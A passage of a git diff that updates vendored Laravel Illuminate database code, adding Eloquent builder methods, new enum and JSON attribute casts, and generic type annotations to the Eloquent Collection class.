Save a new model instance with mass assignment without raising model events. + * + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model|$this + */ + public function forceCreateQuietly(array $attributes = []) + { + return Model::withoutEvents(fn () => $this->forceCreate($attributes)); + } + /** * Update records in the database. * @@ -944,16 +1084,39 @@ public function upsert(array $values, $uniqueBy, $update = null) } return $this->toBase()->upsert( - $this->addTimestampsToUpsertValues($values), + $this->addTimestampsToUpsertValues($this->addUniqueIdsToUpsertValues($values)), $uniqueBy, $this->addUpdatedAtToUpsertColumns($update) ); } + /** + * Update the column's update timestamp. + * + * @param string|null $column + * @return int|false + */ + public function touch($column = null) + { + $time = $this->model->freshTimestamp(); + + if ($column) { + return $this->toBase()->update([$column => $time]); + } + + $column = $this->model->getUpdatedAtColumn(); + + if (! $this->model->usesTimestamps() || is_null($column)) { + return false; + } + + return $this->toBase()->update([$column => $time]); + } + /** * Increment a column's value by a given amount. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @param float|int $amount * @param array $extra * @return int @@ -968,7 +1131,7 @@ public function increment($column, $amount = 1, array $extra = []) /** * Decrement a column's value by a given amount. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @param float|int $amount * @param array $extra * @return int @@ -995,10 +1158,21 @@ protected function addUpdatedAtColumn(array $values) $column = $this->model->getUpdatedAtColumn(); - $values = array_merge( - [$column => $this->model->freshTimestampString()], - $values - ); + if (! array_key_exists($column, $values)) { + $timestamp = $this->model->freshTimestampString(); + + if ( + $this->model->hasSetMutator($column) + || $this->model->hasAttributeSetMutator($column) + || $this->model->hasCast($column) + ) { + $timestamp = $this->model->newInstance() + ->forceFill([$column => $timestamp]) + ->getAttributes()[$column] ?? $timestamp; + } + + $values = array_merge([$column => $timestamp], $values); + } $segments = preg_split('/\s+as\s+/i', $this->query->from); @@ -1011,6 +1185,29 @@ protected function addUpdatedAtColumn(array $values) return $values; } + /** + * Add unique IDs to the inserted values. + * + * @param array $values + * @return array + */ + protected function addUniqueIdsToUpsertValues(array $values) + { + if (! $this->model->usesUniqueIds()) { + return $values; + } + + foreach ($this->model->uniqueIds() as $uniqueIdAttribute) { + foreach ($values as &$row) { + if (! array_key_exists($uniqueIdAttribute, $row)) { + $row = array_merge([$uniqueIdAttribute => $this->model->newUniqueId()], $row); + } + } + } + + return $values; + } + /** * Add timestamps to the inserted values. * @@ -1196,7 +1393,7 @@ protected function callScope(callable $scope, array $parameters = []) $originalWhereCount = is_null($query->wheres) ? 0 : count($query->wheres); - $result = $scope(...array_values($parameters)) ?? $this; + $result = $scope(...$parameters) ?? $this; if (count((array) $query->wheres) > $originalWhereCount) { $this->addNewWheresWithinGroup($query, $originalWhereCount); @@ -1258,9 +1455,9 @@ protected function groupWhereSliceForScope(QueryBuilder $query, $whereSlice) // Here we'll check if the given subset of where clauses contains any "or" // booleans and in this case create a nested where expression. That way // we don't add any unnecessary nesting thus keeping the query clean. - if ($whereBooleans->contains('or')) { + if ($whereBooleans->contains(fn ($logicalOperator) => str_contains($logicalOperator, 'or'))) { $query->wheres[] = $this->createNestedWhere( - $whereSlice, $whereBooleans->first() + $whereSlice, str_replace(' not', '', $whereBooleans->first()) ); } else { $query->wheres = array_merge($query->wheres, $whereSlice); @@ -1352,22 +1549,13 @@ public function newModelInstance($attributes = []) */ protected function parseWithRelations(array $relations) { - $results = []; + if ($relations === []) { + return []; + } - foreach ($relations as $name => $constraints) { - // If the "name" value is a numeric key, we can assume that no constraints - // have been specified. We will just put an empty Closure there so that - // we can treat these all the same while we are looping through them. - if (is_numeric($name)) { - $name = $constraints; - - [$name, $constraints] = Str::contains($name, ':') - ? $this->createSelectWithConstraint($name) - : [$name, static function () { - // - }]; - } + $results = []; + foreach ($this->prepareNestedWithRelationships($relations) as $name => $constraints) { // We need to separate out any nested includes, which allows the developers // to load deep relationships using "dots" without stating each level of // the relationship with its own key in the array of eager-load names. @@ -1379,6 +1567,91 @@ protected function parseWithRelations(array $relations) return $results; } + /** + * Prepare nested with relationships. + * + * @param array $relations + * @param string $prefix + * @return array + */ + protected function prepareNestedWithRelationships($relations, $prefix = '') + { + $preparedRelationships = []; + + if ($prefix !== '') { + $prefix .= '.'; + } + + // If any of the relationships are formatted with the [$attribute => array()] + // syntax, we shall loop over the nested relations and prepend each key of + // this array while flattening into the traditional dot notation format. + foreach ($relations as $key => $value) { + if (! is_string($key) || ! is_array($value)) { + continue; + } + + [$attribute, $attributeSelectConstraint] = $this->parseNameAndAttributeSelectionConstraint($key); + + $preparedRelationships = array_merge( + $preparedRelationships, + ["{$prefix}{$attribute}" => $attributeSelectConstraint], + $this->prepareNestedWithRelationships($value, "{$prefix}{$attribute}"), + ); + + unset($relations[$key]); + } + + // We now know that the remaining relationships are in a dot notation format + // and may be a string or Closure. We'll loop over them and ensure all of + // the present Closures are merged + strings are made into constraints. + foreach ($relations as $key => $value) { + if (is_numeric($key) && is_string($value)) { + [$key, $value] = $this->parseNameAndAttributeSelectionConstraint($value); + } + + $preparedRelationships[$prefix.$key] = $this->combineConstraints([ + $value, + $preparedRelationships[$prefix.$key] ?? static function () { + // + }, + ]); + } + + return $preparedRelationships; + } + + /** + * Combine an array of constraints into a single constraint. + * + * @param array $constraints + * @return \Closure + */ + protected function combineConstraints(array $constraints) + { + return function ($builder) use ($constraints) { + foreach ($constraints as $constraint) { + $builder = $constraint($builder) ?? $builder; + } + + return $builder; + }; + } + + /** + * Parse the attribute select constraints from the name. + * + * @param string $name + * @return array + */ + protected function parseNameAndAttributeSelectionConstraint($name) + { + return str_contains($name, ':') + ? $this->createSelectWithConstraint($name) + : [$name, static function () { + // + }]; + } + /** * Create a constraint to select the given columns for the relation. * @@ -1389,7 +1662,7 @@ protected function createSelectWithConstraint($name) { return [explode(':', $name)[0], static function ($query) use ($name) { $query->select(array_map(static function ($column) use ($query) { - if (Str::contains($column, '.')) { + if (str_contains($column, '.')) { return $column; } @@ -1440,6 +1713,33 @@ public function withCasts($casts) return $this; } + /** + * Execute the given Closure within a transaction savepoint if needed. + * + * @template TModelValue + * + * @param \Closure(): TModelValue $scope + * @return TModelValue + */ + public function withSavepointIfNeeded(Closure $scope): mixed + { + return $this->getQuery()->getConnection()->transactionLevel() > 0 + ? $this->getQuery()->getConnection()->transaction($scope) + : $scope(); + } + + /** + * Get the Eloquent builder instances that are used in the union of the query. + * + * @return \Illuminate\Support\Collection + */ + protected function getUnionBuilders() + { + return isset($this->query->unions) + ? collect($this->query->unions)->pluck('query') + : collect(); + } + /** * Get the underlying query builder instance. * @@ -1496,6 +1796,29 @@ public function setEagerLoads(array $eagerLoad) return $this; } + /** + * Indicate that the given relationships should not be eagerly loaded. + * + * @param array $relations + * @return $this + */ + public function withoutEagerLoad(array $relations) + { + $relations = array_diff(array_keys($this->model->getRelations()), $relations); + + return $this->with($relations); + } + + /** + * Flush the relationships being eagerly loaded. + * + * @return $this + */ + public function withoutEagerLoads() + { + return $this->setEagerLoads([]); + } + /** * Get the default key name of the table. * @@ -1534,18 +1857,20 @@ public function setModel(Model $model) /** * Qualify the given column name by the model's table. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @return string */ public function qualifyColumn($column) { + $column = $column instanceof Expression ? $column->getValue($this->getGrammar()) : $column; + return $this->model->qualifyColumn($column); } /** * Qualify the given columns with the model's table. * - * @param array|\Illuminate\Database\Query\Expression $columns + * @param array|\Illuminate\Contracts\Database\Query\Expression $columns * @return array */ public function qualifyColumns($columns) @@ -1607,7 +1932,7 @@ public static function hasGlobalMacro($name) */ public function __get($key) { - if ($key === 'orWhere') { + if (in_array($key, ['orWhere', 'whereNot', 'orWhereNot'])) { return new HigherOrderBuilderProxy($this, $key); } @@ -1653,7 +1978,7 @@ public function __call($method, $parameters) return $this->callNamedScope($method, $parameters); } - if (in_array($method, $this->passthru)) { + if (in_array(strtolower($method), $this->passthru)) { return $this->toBase()->{$method}(...$parameters); } @@ -1706,13 +2031,11 @@ public static function __callStatic($method, $parameters) protected static function registerMixin($mixin, $replace) { $methods = (new ReflectionClass($mixin))->getMethods( - ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PROTECTED - ); + ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PROTECTED + ); foreach ($methods as $method) { if ($replace || ! static::hasGlobalMacro($method->name)) { - $method->setAccessible(true); - static::macro($method->name, $method->invoke($mixin)); } } diff --git a/vendor/illuminate/database/Eloquent/Casts/ArrayObject.php b/vendor/illuminate/database/Eloquent/Casts/ArrayObject.php index 6f1713c94..176b7335c 100644 --- a/vendor/illuminate/database/Eloquent/Casts/ArrayObject.php +++ b/vendor/illuminate/database/Eloquent/Casts/ArrayObject.php @@ -6,6 +6,12 @@ use Illuminate\Contracts\Support\Arrayable; use JsonSerializable; +/** + * @template TKey of array-key + * @template TItem + * + * @extends \ArrayObject + */ class ArrayObject extends BaseArrayObject implements Arrayable, JsonSerializable { /** @@ -33,8 +39,7 @@ public function toArray() * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->getArrayCopy(); } diff --git a/vendor/illuminate/database/Eloquent/Casts/AsArrayObject.php b/vendor/illuminate/database/Eloquent/Casts/AsArrayObject.php index db9a21b46..5ee80d0bb 100644 --- a/vendor/illuminate/database/Eloquent/Casts/AsArrayObject.php +++ b/vendor/illuminate/database/Eloquent/Casts/AsArrayObject.php @@ -11,7 +11,7 @@ class AsArrayObject implements Castable * Get the caster class to use when casting from / to this cast target. * * @param array $arguments - * @return object|string + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Database\Eloquent\Casts\ArrayObject, iterable> */ public static function castUsing(array $arguments) { @@ -19,12 +19,18 @@ public static function castUsing(array $arguments) { public function get($model, $key, $value, $attributes) { - return isset($attributes[$key]) ? new ArrayObject(json_decode($attributes[$key], true)) : null; + if (! isset($attributes[$key])) { + return; + } + + $data = Json::decode($attributes[$key]); + + return is_array($data) ? new ArrayObject($data, ArrayObject::ARRAY_AS_PROPS) : null; } public function set($model, $key, $value, $attributes) { - return [$key => json_encode($value)]; + return [$key => Json::encode($value)]; } public function serialize($model, string $key, $value, array $attributes) diff --git a/vendor/illuminate/database/Eloquent/Casts/AsCollection.php b/vendor/illuminate/database/Eloquent/Casts/AsCollection.php index 585b6cfc7..1b7d6418c 100644 --- a/vendor/illuminate/database/Eloquent/Casts/AsCollection.php +++ b/vendor/illuminate/database/Eloquent/Casts/AsCollection.php @@ -5,6 +5,7 @@ use Illuminate\Contracts\Database\Eloquent\Castable; use Illuminate\Contracts\Database\Eloquent\CastsAttributes; use Illuminate\Support\Collection; +use InvalidArgumentException; class AsCollection implements Castable { @@ -12,20 +13,36 @@ class AsCollection implements Castable * Get the caster class to use when casting from / to this cast target. * * @param array $arguments - * @return object|string + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Support\Collection, iterable> */ public static function castUsing(array $arguments) { - return new class implements CastsAttributes + return new class($arguments) implements CastsAttributes { + public function __construct(protected array $arguments) + { + } + public function get($model, $key, $value, $attributes) { - return isset($attributes[$key]) ? new Collection(json_decode($attributes[$key], true)) : null; + if (! isset($attributes[$key])) { + return; + } + + $data = Json::decode($attributes[$key]); + + $collectionClass = $this->arguments[0] ?? Collection::class; + + if (! is_a($collectionClass, Collection::class, true)) { + throw new InvalidArgumentException('The provided class must extend ['.Collection::class.'].'); + } + + return is_array($data) ? new $collectionClass($data) : null; } public function set($model, $key, $value, $attributes) { - return [$key => json_encode($value)]; + return [$key => Json::encode($value)]; } }; } diff --git a/vendor/illuminate/database/Eloquent/Casts/AsEncryptedArrayObject.php b/vendor/illuminate/database/Eloquent/Casts/AsEncryptedArrayObject.php index cd6562465..448f23db0 100644 --- a/vendor/illuminate/database/Eloquent/Casts/AsEncryptedArrayObject.php +++ b/vendor/illuminate/database/Eloquent/Casts/AsEncryptedArrayObject.php @@ -12,7 +12,7 @@ class AsEncryptedArrayObject implements Castable * Get the caster class to use when casting from / to this cast target. * * @param array $arguments - * @return object|string + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Database\Eloquent\Casts\ArrayObject, iterable> */ public static function castUsing(array $arguments) { @@ -21,7 +21,7 @@ public static function castUsing(array $arguments) public function get($model, $key, $value, $attributes) { if (isset($attributes[$key])) { - return new ArrayObject(json_decode(Crypt::decryptString($attributes[$key]), true)); + return new ArrayObject(Json::decode(Crypt::decryptString($attributes[$key]))); } return null; @@ -30,7 +30,7 @@ public function get($model, $key, $value, $attributes) public function set($model, $key, $value, $attributes) { if (! is_null($value)) { - return [$key => Crypt::encryptString(json_encode($value))]; + return [$key => Crypt::encryptString(Json::encode($value))]; } return null; diff --git a/vendor/illuminate/database/Eloquent/Casts/AsEncryptedCollection.php b/vendor/illuminate/database/Eloquent/Casts/AsEncryptedCollection.php index 4d9fee7ec..d1b2c2fd2 100644 --- a/vendor/illuminate/database/Eloquent/Casts/AsEncryptedCollection.php +++ b/vendor/illuminate/database/Eloquent/Casts/AsEncryptedCollection.php @@ -6,6 +6,7 @@ use Illuminate\Contracts\Database\Eloquent\CastsAttributes; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Crypt; +use InvalidArgumentException; class AsEncryptedCollection implements Castable { @@ -13,16 +14,26 @@ class AsEncryptedCollection implements Castable * Get the caster class to use when casting from / to this cast target. * * @param array $arguments - * @return object|string + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Support\Collection, iterable> */ public static function castUsing(array $arguments) { - return new class implements CastsAttributes + return new class($arguments) implements CastsAttributes { + public function __construct(protected array $arguments) + { + } + public function get($model, $key, $value, $attributes) { + $collectionClass = $this->arguments[0] ?? Collection::class; + + if (! is_a($collectionClass, Collection::class, true)) { + throw new InvalidArgumentException('The provided class must extend ['.Collection::class.'].'); + } + if (isset($attributes[$key])) { - return new Collection(json_decode(Crypt::decryptString($attributes[$key]), true)); + return new $collectionClass(Json::decode(Crypt::decryptString($attributes[$key]))); } return null; @@ -31,7 +42,7 @@ public function get($model, $key, $value, $attributes) public function set($model, $key, $value, $attributes) { if (! is_null($value)) { - return [$key => Crypt::encryptString(json_encode($value))]; + return [$key => Crypt::encryptString(Json::encode($value))]; } return null; diff --git a/vendor/illuminate/database/Eloquent/Casts/AsEnumArrayObject.php b/vendor/illuminate/database/Eloquent/Casts/AsEnumArrayObject.php new file mode 100644 index 000000000..7909b197b --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Casts/AsEnumArrayObject.php @@ -0,0 +1,84 @@ +} $arguments + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Database\Eloquent\Casts\ArrayObject, iterable> + */ + public static function castUsing(array $arguments) + { + return new class($arguments) implements CastsAttributes + { + protected $arguments; + + public function __construct(array $arguments) + { + $this->arguments = $arguments; + } + + public function get($model, $key, $value, $attributes) + { + if (! isset($attributes[$key])) { + return; + } + + $data = Json::decode($attributes[$key]); + + if (! is_array($data)) { + return; + } + + $enumClass = $this->arguments[0]; + + return new ArrayObject((new Collection($data))->map(function ($value) use ($enumClass) { + return is_subclass_of($enumClass, BackedEnum::class) + ? $enumClass::from($value) + : constant($enumClass.'::'.$value); + })->toArray()); + } + + public function set($model, $key, $value, $attributes) + { + if ($value === null) { + return [$key => null]; + } + + $storable = []; + + foreach ($value as $enum) { + $storable[] = $this->getStorableEnumValue($enum); + } + + return [$key => Json::encode($storable)]; + } + + public function serialize($model, string $key, $value, array $attributes) + { + return (new Collection($value->getArrayCopy()))->map(function ($enum) { + return $this->getStorableEnumValue($enum); + })->toArray(); + } + + protected function getStorableEnumValue($enum) + { + if (is_string($enum) || is_int($enum)) { + return $enum; + } + + return $enum instanceof BackedEnum ? $enum->value : $enum->name; + } + }; + } +} diff --git a/vendor/illuminate/database/Eloquent/Casts/AsEnumCollection.php b/vendor/illuminate/database/Eloquent/Casts/AsEnumCollection.php new file mode 100644 index 000000000..926881287 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Casts/AsEnumCollection.php @@ -0,0 +1,80 @@ +} $arguments + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Support\Collection, iterable> + */ + public static function castUsing(array $arguments) + { + return new class($arguments) implements CastsAttributes + { + protected $arguments; + + public function __construct(array $arguments) + { + $this->arguments = $arguments; + } + + public function get($model, $key, $value, $attributes) + { + if (! isset($attributes[$key])) { + return; + } + + $data = Json::decode($attributes[$key]); + + if (! is_array($data)) { + return; + } + + $enumClass = $this->arguments[0]; + + return (new Collection($data))->map(function ($value) use ($enumClass) { + return is_subclass_of($enumClass, BackedEnum::class) + ? $enumClass::from($value) + : constant($enumClass.'::'.$value); + }); + } + + public function set($model, $key, $value, $attributes) + { + $value = $value !== null + ? Json::encode((new Collection($value))->map(function ($enum) { + return $this->getStorableEnumValue($enum); + })->jsonSerialize()) + : null; + + return [$key => $value]; + } + + public function serialize($model, string $key, $value, array $attributes) + { + return (new Collection($value))->map(function ($enum) { + return $this->getStorableEnumValue($enum); + })->toArray(); + } + + protected function getStorableEnumValue($enum) + { + if (is_string($enum) || is_int($enum)) { + return $enum; + } + + return $enum instanceof BackedEnum ? $enum->value : $enum->name; + } + }; + } +} diff --git a/vendor/illuminate/database/Eloquent/Casts/AsStringable.php b/vendor/illuminate/database/Eloquent/Casts/AsStringable.php index 912659f38..c30e1a560 100644 --- a/vendor/illuminate/database/Eloquent/Casts/AsStringable.php +++ b/vendor/illuminate/database/Eloquent/Casts/AsStringable.php @@ -12,7 +12,7 @@ class AsStringable implements Castable * Get the caster class to use when casting from / to this cast target. * * @param array $arguments - * @return object|string + * @return \Illuminate\Contracts\Database\Eloquent\CastsAttributes<\Illuminate\Support\Stringable, string|\Stringable> */ public static function castUsing(array $arguments) { diff --git a/vendor/illuminate/database/Eloquent/Casts/Attribute.php b/vendor/illuminate/database/Eloquent/Casts/Attribute.php index a21b97bb3..3f9fd19e2 100644 --- a/vendor/illuminate/database/Eloquent/Casts/Attribute.php +++ b/vendor/illuminate/database/Eloquent/Casts/Attribute.php @@ -18,6 +18,13 @@ class Attribute */ public $set; + /** + * Indicates if caching is enabled for this attribute. + * + * @var bool + */ + public $withCaching = false; + /** * Indicates if caching of objects is enabled for this attribute. * @@ -38,6 +45,18 @@ public function __construct(callable $get = null, callable $set = null) $this->set = $set; } + /** + * Create a new attribute accessor / mutator. + * + * @param callable|null $get + * @param callable|null $set + * @return static + */ + public static function make(callable $get = null, callable $set = null): static + { + return new static($get, $set); + } + /** * Create a new attribute accessor. * @@ -71,4 +90,16 @@ public function withoutObjectCaching() return $this; } + + /** + * Enable caching for the attribute. + * + * @return static + */ + public function shouldCache() + { + $this->withCaching = true; + + return $this; + } } diff --git a/vendor/illuminate/database/Eloquent/Casts/Json.php b/vendor/illuminate/database/Eloquent/Casts/Json.php new file mode 100644 index 000000000..6b1a3dc77 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/Casts/Json.php @@ -0,0 +1,54 @@ + + */ class Collection extends BaseCollection implements QueueableCollection { + use InteractsWithDictionary; + /** * Find a model in the collection by key. * + * @template TFindDefault + * * @param mixed $key - * @param mixed $default - * @return \Illuminate\Database\Eloquent\Model|static|null + * @param TFindDefault $default + * @return static|TModel|TFindDefault */ public function find($key, $default = null) { @@ -37,15 +47,13 @@ public function find($key, $default = null) return $this->whereIn($this->first()->getKeyName(), $key); } - return Arr::first($this->items, function ($model) use ($key) { - return $model->getKey() == $key; - }, $default); + return Arr::first($this->items, fn ($model) => $model->getKey() == $key, $default); } /** * Load a set of relationships onto the collection. * - * @param array|string $relations + * @param array|string $relations * @return $this */ public function load($relations) @@ -66,9 +74,9 @@ public function load($relations) /** * Load a set of aggregations over relationship's column onto the collection. * - * @param array|string $relations + * @param array|string $relations * @param string $column - * @param string $function + * @param string|null $function * @return $this */ public function loadAggregate($relations, $column, $function = null) @@ -103,7 +111,7 @@ public function loadAggregate($relations, $column, $function = null) /** * Load a set of relationship counts onto the collection. * - * @param array|string $relations + * @param array|string $relations * @return $this */ public function loadCount($relations) @@ -114,7 +122,7 @@ public function loadCount($relations) /** * Load a set of relationship's max column values onto the collection. * - * @param array|string $relations + * @param array|string $relations * @param string $column * @return $this */ @@ -126,7 +134,7 @@ public function loadMax($relations, $column) /** * Load a set of relationship's min column values onto the collection. * - * @param array|string $relations + * @param array|string $relations * @param string $column * @return $this */ @@ -138,7 +146,7 @@ public function loadMin($relations, $column) /** * Load a set of relationship's column summations onto the collection. * - * @param array|string $relations + * @param array|string $relations * @param string $column * @return $this */ @@ -150,7 +158,7 @@ public function loadSum($relations, $column) /** * Load a set of relationship's average column values onto the collection. * - * @param array|string $relations + * @param array|string $relations * @param string $column * @return $this */ @@ -162,7 +170,7 @@ public function loadAvg($relations, $column) /** * Load a set of related existences onto the collection. * - * @param array|string $relations + * @param array|string $relations * @return $this */ public function loadExists($relations) @@ -173,7 +181,7 @@ public function loadExists($relations) /** * Load a set of relationships onto the collection if they are not already eager loaded. * - * @param array|string $relations + * @param array|string $relations * @return $this */ public function loadMissing($relations) @@ -189,7 +197,7 @@ public function loadMissing($relations) $segments = explode('.', explode(':', $key)[0]); - if (Str::contains($key, ':')) { + if (str_contains($key, ':')) { $segments[count($segments) - 1] .= ':'.explode(':', $key)[1]; } @@ -226,9 +234,7 @@ protected function loadMissingRelation(self $models, array $path) $relation = reset($relation); } - $models->filter(function ($model) use ($name) { - return ! is_null($model) && ! $model->relationLoaded($name); - })->load($relation); + $models->filter(fn ($model) => ! is_null($model) && ! $model->relationLoaded($name))->load($relation); if (empty($path)) { return; @@ -247,19 +253,15 @@ protected function loadMissingRelation(self $models, array $path) * Load a set of relationships onto the mixed relationship collection. * * @param string $relation - * @param array $relations + * @param array $relations * @return $this */ public function loadMorph($relation, $relations) { $this->pluck($relation) ->filter() - ->groupBy(function ($model) { - return get_class($model); - }) - ->each(function ($models, $className) use ($relations) { - static::make($models)->load($relations[$className] ?? []); - }); + ->groupBy(fn ($model) => get_class($model)) + ->each(fn ($models, $className) => static::make($models)->load($relations[$className] ?? [])); return $this; } @@ -268,19 +270,15 @@ public function loadMorph($relation, $relations) * Load a set of relationship counts onto the mixed relationship collection. * * @param string $relation - * @param array $relations + * @param array $relations * @return $this */ public function loadMorphCount($relation, $relations) { $this->pluck($relation) ->filter() - ->groupBy(function ($model) { - return get_class($model); - }) - ->each(function ($models, $className) use ($relations) { - static::make($models)->loadCount($relations[$className] ?? []); - }); + ->groupBy(fn ($model) => get_class($model)) + ->each(fn ($models, $className) => static::make($models)->loadCount($relations[$className] ?? [])); return $this; } @@ -288,7 +286,7 @@ public function loadMorphCount($relation, $relations) /** * Determine if a key exists in the collection. * - * @param mixed $key + * @param (callable(TModel, TKey): bool)|TModel|string|int $key * @param mixed $operator * @param mixed $value * @return bool @@ -300,32 +298,26 @@ public function contains($key, $operator = null, $value = null) } if ($key instanceof Model) { - return parent::contains(function ($model) use ($key) { - return $model->is($key); - }); + return parent::contains(fn ($model) => $model->is($key)); } - return parent::contains(function ($model) use ($key) { - return $model->getKey() == $key; - }); + return parent::contains(fn ($model) => $model->getKey() == $key); } /** * Get the array of primary keys. * - * @return array + * @return array */ public function modelKeys() { - return array_map(function ($model) { - return $model->getKey(); - }, $this->items); + return array_map(fn ($model) => $model->getKey(), $this->items); } /** * Merge the collection with the given items. * - * @param \ArrayAccess|array $items + * @param iterable $items * @return static */ public function merge($items) @@ -333,7 +325,7 @@ public function merge($items) $dictionary = $this->getDictionary(); foreach ($items as $item) { - $dictionary[$item->getKey()] = $item; + $dictionary[$this->getDictionaryKey($item->getKey())] = $item; } return new static(array_values($dictionary)); @@ -342,16 +334,16 @@ public function merge($items) /** * Run a map over each of the items. * - * @param callable $callback - * @return \Illuminate\Support\Collection|static + * @template TMapValue + * + * @param callable(TModel, TKey): TMapValue $callback + * @return \Illuminate\Support\Collection|static */ public function map(callable $callback) { $result = parent::map($callback); - return $result->contains(function ($item) { - return ! $item instanceof Model; - }) ? $result->toBase() : $result; + return $result->contains(fn ($item) => ! $item instanceof Model) ? $result->toBase() : $result; } /** @@ -359,22 +351,23 @@ public function map(callable $callback) * * The callback should return an associative array with a single key / value pair. * - * @param callable $callback - * @return \Illuminate\Support\Collection|static + * @template TMapWithKeysKey of array-key + * @template TMapWithKeysValue + * + * @param callable(TModel, TKey): array $callback + * @return \Illuminate\Support\Collection|static */ public function mapWithKeys(callable $callback) { $result = parent::mapWithKeys($callback); - return $result->contains(function ($item) { - return ! $item instanceof Model; - }) ? $result->toBase() : $result; + return $result->contains(fn ($item) => ! $item instanceof Model) ? $result->toBase() : $result; } /** * Reload a fresh model instance from the database for all the entities. * - * @param array|string $with + * @param array|string $with * @return static */ public function fresh($with = []) @@ -391,18 +384,14 @@ public function fresh($with = []) ->get() ->getDictionary(); - return $this->filter(function ($model) use ($freshModels) { - return $model->exists && isset($freshModels[$model->getKey()]); - }) - ->map(function ($model) use ($freshModels) { - return $freshModels[$model->getKey()]; - }); + return $this->filter(fn ($model) => $model->exists && isset($freshModels[$model->getKey()])) + ->map(fn ($model) => $freshModels[$model->getKey()]); } /** * Diff the collection with the given items. * - * @param \ArrayAccess|array $items + * @param iterable $items * @return static */ public function diff($items) @@ -412,7 +401,7 @@ public function diff($items) $dictionary = $this->getDictionary($items); foreach ($this->items as $item) { - if (! isset($dictionary[$item->getKey()])) { + if (! isset($dictionary[$this->getDictionaryKey($item->getKey())])) { $diff->add($item); } } @@ -423,7 +412,7 @@ public function diff($items) /** * Intersect the collection with the given items. * - * @param \ArrayAccess|array $items + * @param iterable $items * @return static */ public function intersect($items) @@ -437,7 +426,7 @@ public function intersect($items) $dictionary = $this->getDictionary($items); foreach ($this->items as $item) { - if (isset($dictionary[$item->getKey()])) { + if (isset($dictionary[$this->getDictionaryKey($item->getKey())])) { $intersect->add($item); } } @@ -448,9 +437,9 @@ public function intersect($items) /** * Return only unique items from the collection. * - * @param string|callable|null $key + * @param (callable(TModel, TKey): mixed)|string|null $key * @param bool $strict - * @return static + * @return static */ public function unique($key = null, $strict = false) { @@ -464,8 +453,8 @@ public function unique($key = null, $strict = false) /** * Returns only the models from the collection with the specified keys. * - * @param mixed $keys - * @return static + * @param array|null $keys + * @return static */ public function only($keys) { @@ -473,7 +462,7 @@ public function only($keys) return new static($this->items); } - $dictionary = Arr::only($this->getDictionary(), $keys); + $dictionary = Arr::only($this->getDictionary(), array_map($this->getDictionaryKey(...), (array) $keys)); return new static(array_values($dictionary)); } @@ -481,12 +470,16 @@ public function only($keys) /** * Returns all models in the collection except the models with specified keys. * - * @param mixed $keys - * @return static + * @param array|null $keys + * @return static */ public function except($keys) { - $dictionary = Arr::except($this->getDictionary(), $keys); + if (is_null($keys)) { + return new static($this->items); + } + + $dictionary = Arr::except($this->getDictionary(), array_map($this->getDictionaryKey(...), (array) $keys)); return new static(array_values($dictionary)); } @@ -494,7 +487,7 @@ public function except($keys) /** * Make the given, typically visible, attributes hidden across the entire collection. * - * @param array|string $attributes + * @param array|string $attributes * @return $this */ public function makeHidden($attributes) @@ -505,7 +498,7 @@ public function makeHidden($attributes) /** * Make the given, typically hidden, attributes visible across the entire collection. * - * @param array|string $attributes + * @param array|string $attributes * @return $this */ public function makeVisible($attributes) @@ -513,10 +506,32 @@ public function makeVisible($attributes) return $this->each->makeVisible($attributes); } + /** + * Set the visible attributes across the entire collection. + * + * @param array $visible + * @return $this + */ + public function setVisible($visible) + { + return $this->each->setVisible($visible); + } + + /** + * Set the hidden attributes across the entire collection. + * + * @param array $hidden + * @return $this + */ + public function setHidden($hidden) + { + return $this->each->setHidden($hidden); + } + /** * Append an attribute across the entire collection. * - * @param array|string $attributes + * @param array|string $attributes * @return $this */ public function append($attributes) @@ -527,8 +542,8 @@ public function append($attributes) /** * Get a dictionary keyed by primary keys. * - * @param \ArrayAccess|array|null $items - * @return array + * @param iterable|null $items + * @return array */ public function getDictionary($items = null) { @@ -537,7 +552,7 @@ public function getDictionary($items = null) $dictionary = []; foreach ($items as $value) { - $dictionary[$value->getKey()] = $value; + $dictionary[$this->getDictionaryKey($value->getKey())] = $value; } return $dictionary; @@ -548,42 +563,20 @@ public function getDictionary($items = null) */ /** - * Get an array with the values of a given key. - * - * @param string|array $value - * @param string|null $key - * @return \Illuminate\Support\Collection - */ - public function pluck($value, $key = null) - { - return $this->toBase()->pluck($value, $key); - } - - /** - * Get the keys of the collection items. + * Count the number of items in the collection by a field or using a callback. * - * @return \Illuminate\Support\Collection + * @param (callable(TModel, TKey): array-key)|string|null $countBy + * @return \Illuminate\Support\Collection */ - public function keys() + public function countBy($countBy = null) { - return $this->toBase()->keys(); - } - - /** - * Zip the collection together with one or more arrays. - * - * @param mixed ...$items - * @return \Illuminate\Support\Collection - */ - public function zip($items) - { - return $this->toBase()->zip(...func_get_args()); + return $this->toBase()->countBy($countBy); } /** * Collapse the collection of items into a single array. * - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function collapse() { @@ -594,7 +587,7 @@ public function collapse() * Get a flattened array of the items in the collection. * * @param int $depth - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function flatten($depth = INF) { @@ -604,36 +597,71 @@ public function flatten($depth = INF) /** * Flip the items in the collection. * - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function flip() { return $this->toBase()->flip(); } + /** + * Get the keys of the collection items. + * + * @return \Illuminate\Support\Collection + */ + public function keys() + { + return $this->toBase()->keys(); + } + /** * Pad collection to the specified length with a value. * + * @template TPadValue + * * @param int $size - * @param mixed 